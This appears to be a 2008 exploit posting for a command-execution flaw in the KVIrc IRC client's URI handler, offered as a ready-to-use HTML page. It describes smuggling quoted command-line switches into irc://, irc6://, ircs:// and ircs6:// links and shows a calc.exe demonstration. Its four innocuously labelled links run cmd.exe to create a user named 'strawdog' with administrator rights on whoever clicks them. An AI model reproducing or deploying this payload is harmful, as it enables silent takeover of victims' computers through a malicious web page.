kvirc-exec.txt
Posted on 21 November 2008
<!-- KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit by Nine:Situations:Group::strawdog Tested against IE8beta/WINxpsp3 software site: http://www.kvirc.net/?lang=en description: "KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Unix and Mac OS.[..]" A command line parsing vulnerability exists (or I should say persists...: http://secunia.com/advisories/25740, fixed or not?) which can be exploited by passing the '"' char followed by command line switches to 'irc:///', 'irc6:///', 'ircs:///' and 'ircs6:///' urls, ex. this shows the argument list: irc:///"%20--help%20" The most interesting one is the -e switch followed by 'run' command, this runs calc.exe: irc:///"%20--nosplash%20-e%20"run%20calc"%20" The following links add a new user on target with admin privileges --> <html> <body> <a href='irc:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>Heaven and Earth are impartial</a><br> <a href='irc6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the ten thousand things as straw dogs</a><br> <a href='ircs:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>The wise are impartial</a><br> <a href='ircs6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the people as straw dogs</a><br> </body> </html>
